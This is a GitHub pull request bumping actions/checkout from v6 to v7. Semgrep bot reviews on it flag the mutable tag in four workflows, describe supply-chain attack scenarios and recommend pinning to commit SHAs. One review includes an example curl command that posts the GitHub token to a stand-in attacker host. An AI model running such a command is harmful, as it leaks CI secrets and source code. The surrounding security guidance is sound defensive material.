chore(deps): bump actions/checkout from 6 to 7 - #126
Conversation
Bumps [actions/checkout](https://github.com/actions/checkout) from 6 to 7. - [Release notes](https://github.com/actions/checkout/releases) - [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md) - [Commits](actions/checkout@v6...v7) --- updated-dependencies: - dependency-name: actions/checkout dependency-version: '7' dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com>
dependabot
Bot
added
dependencies
dependabot
Bot
added
dependencies
![semgrep-code-mongodb[bot]](https://avatars.githubusercontent.com/u/45120?s=60&v=4){kind=small}
|
|
||
| # checkout the HEAD ref from prNumber | ||
| - uses: actions/checkout@v6 | ||
| - uses: actions/checkout@v7 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/checkout@v7 uses a movable tag, so if v7 is repointed this workflow could run attacker code with repo write and pull-request write access.
More details about this
actions/checkout@v7 pulls code from a movable tag instead of a fixed commit, so this workflow will run whatever commit the owner of actions/checkout later points v7 at. In this job, that action runs before your local scripts and the workflow has contents: write, pull-requests: write, and ${{ github.token }}, so a repointed tag could make the checkout step execute attacker-controlled action code with permission to modify the repo or PRs.
A plausible attack looks like this:
- An attacker compromises the
actions/checkoutrelease process or gains access to an account that can move thev7tag. - They repoint
v7to a new commit containing malicious action code. - A maintainer triggers
release_notes, or commentsrun release_notes, and this step runsuses: actions/checkout@v7. - GitHub resolves
@v7to the attacker's new commit and executes it in this workflow. - That malicious code can use the workflow's
github.tokenplus the grantedcontents: writeandpull-requests: writepermissions to push changes, rewrite release notes, open or edit PRs, or exfiltrate repository data while pretending to be normal CI. - Because the checkout
refis built fromgithub.event.issue.numberorinputs.releasePr, the attacker-controlled action runs specifically in the context of the PR head this job is processing, making the compromise part of your release-notes flow.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action tag with a full 40-character commit SHA in the
usesline.
Changeuses: actions/checkout@v7touses: actions/checkout@<full-commit-sha>, for exampleuses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608. -
Keep the pinned version readable by adding the released version as a comment after the SHA, such as
uses: actions/checkout@<full-commit-sha> # v7.x.x. -
Get the correct SHA from the action's release you intend to use, and pin to that exact commit rather than a tag like
@v7. This prevents the referenced code from changing without an explicit workflow update. -
Leave the existing
with:settings unchanged, includingref: refs/pull/${{ github.event_name == 'issue_comment' && github.event.issue.number || inputs.releasePr }}/head, because the issue is only the mutableusesreference.
Alternatively, if you need to stay on a known stable release line, pin to the commit SHA that corresponds to the current actions/checkout release you already trust, instead of upgrading to a newer release at the same time.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v6 | ||
| - uses: actions/checkout@v7 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/checkout@v7 is a mutable tag, so a repointed upstream tag could run attacker-controlled code during the release publish job.
More details about this
publish runs actions/checkout@v7, which is a movable tag rather than a specific commit. If the v7 tag is ever repointed upstream, this workflow will execute the new code during releases with this job’s permissions (id-token: write, contents: read) before npm publish --provenance --tag latest runs.
A plausible attack looks like this:
- An attacker compromises the
actions/checkoutrelease process or gains permission to move thev7tag. - They repoint
actions/checkout@v7to a commit that adds malicious logic to the checkout action. - The next time this workflow runs in
publish, the step- uses: actions/checkout@v7pulls and executes that attacker-controlled commit automatically. - That malicious action code can use the job’s GitHub token and
id-token: writepermission to request an OIDC token, tamper with the checked-out repository contents, or interfere with the release flow right beforenpm publish --provenance --tag latestpublishes your package. - This turns a normal release into a supply-chain compromise, where users receive a package produced by attacker-influenced CI code.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action tag with a full 40-character commit SHA in the
usesline.
Changeuses: actions/checkout@v7touses: actions/checkout@<full-commit-sha> # v7.x.y. -
Pin the SHA to the exact upstream release you intend to use, taken from the
actions/checkoutrepository release or tag page, instead of using a major version tag like@v7.
For example:uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1. -
Keep the version comment after the SHA so future updates are easier to review.
This makes the workflow use an immutable revision, which prevents the action owner from silently changing what runs under the same tag name. -
Alternatively, if you need to stay on a specific
v7release line, pin to the commit SHA for that exactv7release and keep the comment as# v7...so the intended version is still visible.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| runs-on: ${{matrix.os}} | ||
| steps: | ||
| - uses: actions/checkout@v6 | ||
| - uses: actions/checkout@v7 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/checkout@v7 uses a mutable tag, so this CI job may execute different action code later if that tag is repointed.
More details about this
actions/checkout@v7 pulls whichever commit the v7 tag currently points to during this CI job. If the owner of actions/checkout is compromised or the tag is silently moved, your test job would run the attacker’s code before npm install and npm test, with access to the repository contents checked out by this step.
A plausible attack is: 1) an attacker gains control of the action publisher or retags v7 to a malicious commit; 2) your workflow starts on push or pull_request; 3) the uses: actions/checkout@v7 step downloads and executes that new action code; 4) the malicious action reads the checked-out source, CI-provided tokens, or other workflow data available in this job and sends them to the attacker. Because the reference is a mutable tag, this change can happen without any change in your repository.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable GitHub Action tag with a full 40-character commit SHA in the
usesvalue.
Changeuses: actions/checkout@v7touses: actions/checkout@<full-40-character-commit-sha>. -
Keep the action version as an inline comment so the pinned commit is still easy to identify later.
For example, useuses: actions/checkout@<full-40-character-commit-sha> # v7.x.x. -
Get the correct SHA from the official
actions/checkoutrelease you want to stay on, and pin to that exact commit instead of the tag.
This prevents the referenced action code from changing silently ifv7is moved.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v6 | ||
| - uses: actions/checkout@v7 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/checkout@v7 uses a mutable tag, so this CI job could run attacker-controlled action code if that tag is repointed.
More details about this
actions/checkout@v7 pulls the action by a mutable tag, not a specific commit. If the v7 tag is ever moved, this workflow will run whatever code that tag points to inside your test job before npm install and npm run lint.
A plausible attack looks like this:
- An attacker compromises the
actions/checkoutrelease process or gains permission to move thev7tag. - They repoint
v7to a commit that adds a maliciouspoststep or changes the action code. - On the next
pushorpull_request, this workflow executesuses: actions/checkout@v7insteps. - That malicious action code now runs on
ubuntu-latestin your CI and can read the checked-out repository, inspect workflow-provided tokens, and alter files or outputs used by later steps likeInstall DependenciesandLint. - For example, the attacker could silently exfiltrate source code or the job token with a command like
curl -X POST https://attacker.example/leak -d "$GITHUB_TOKEN"from inside the compromised action.
Because the reference is @v7 instead of a 40-character commit SHA, the exact code executed by this pipeline can change without any change to this repository.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
Changeuses: actions/checkout@v7touses: actions/checkout@<full-commit-sha> # v7.x.y. -
Use the SHA for the exact
actions/checkoutrelease you want to keep, not justv7.
The fix should look likeuses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1, but use the SHA that matches your intendedv7release. -
Keep the version comment after the SHA so future updates are easier to review.
This prevents the workflow from silently following a retagged release while still showing the human-readable version.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
Bumps actions/checkout from 6 to 7.
Release notes
Sourced from actions/checkout's releases.
Changelog
Sourced from actions/checkout's changelog.
... (truncated)
Commits
9c091bbupdate error wording (#2467)1044a6dgetting ready for checkout v7 release (#2464)f028218Bump the minor-npm-dependencies group across 1 directory with 3 updates (#2462)d914b26upgrade module to esm and update dependencies (#2463)537c7efBump@actions/coreand@actions/tool-cacheand Remove uuid (#2459)130a169Bump js-yaml from 4.1.0 to 4.2.0 (#2461)7d09575Bump flatted from 3.3.1 to 3.4.2 (#2460)0f9f3aaBump actions/publish-immutable-action (#2458)f9e715ablock checking out fork pr for pull_request_target and workflow_run (#2454)Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot show <dependency name> ignore conditionswill show all of the ignore conditions of the specified dependency@dependabot ignore this major versionwill close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor versionwill close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependencywill close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)